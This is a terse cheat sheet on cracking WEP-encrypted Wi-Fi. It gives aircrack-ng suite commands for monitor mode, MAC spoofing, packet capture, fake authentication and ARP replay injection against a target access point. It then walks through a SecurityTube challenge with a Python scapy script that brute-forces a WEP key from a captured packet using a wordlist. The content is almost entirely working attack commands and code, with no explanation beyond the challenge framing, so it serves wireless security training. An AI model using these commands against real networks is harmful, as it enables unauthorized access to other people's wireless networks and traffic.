# WEP cracking

Commands

# airmon-ng
# airmon-ng start wlan0
# ifconfig mon0 down
# macchanger --mac=de:ad:de:ad:de:ad mon0
# ifconfig mon0 up
# airodump-ng --write wlan --output-format pcap --channel 1 --encrypt WEP mon0
# aireplay-ng -1 30 -e WLAN_XX -a 11:22:33:44:55:66 -h de:ad:de:ad:de:ad mon0
# aireplay-ng -3 -b 11:22:33:44:55:66 -h de:ad:de:ad:de:ad mon0 # (need more than 20.000 IVs)
# aircrack-ng wlan-*.cap

# Cracking wep

Introduction

Wi-Fi Challenge 3a

Execution

# wget http://code.securitytube.net/Challenge-3a
# file Challenge-3a
# scapy
>>> ch3a = rdpcap("Challenge-3a")
>>> ch3a.display()
>>> ch3a[0]
>>> ch3a[1]
>>> exit()
# cat wepcrack
#!/usr/bin/python

import sys
from scapy.all import *
import Crypto.Cipher.ARC4 as ARC4

pcap = rdpcap("Challenge-3a")
wordlist = open('passwd.lst', 'r')

info = pcap[0].info
iv = pcap[1].iv
wepdata = pcap[1].wepdata

for line in wordlist:
 line = line.strip()
 ivkey = iv + line
 arc4 = ARC4.new(ivkey)
 clear = arc4.decrypt(wepdata)
 
 print 'Trying key', line

 if info in clear:
  print '\nFound Key:', line
  wordlist.close()
  sys.exit()

# ./wepcrack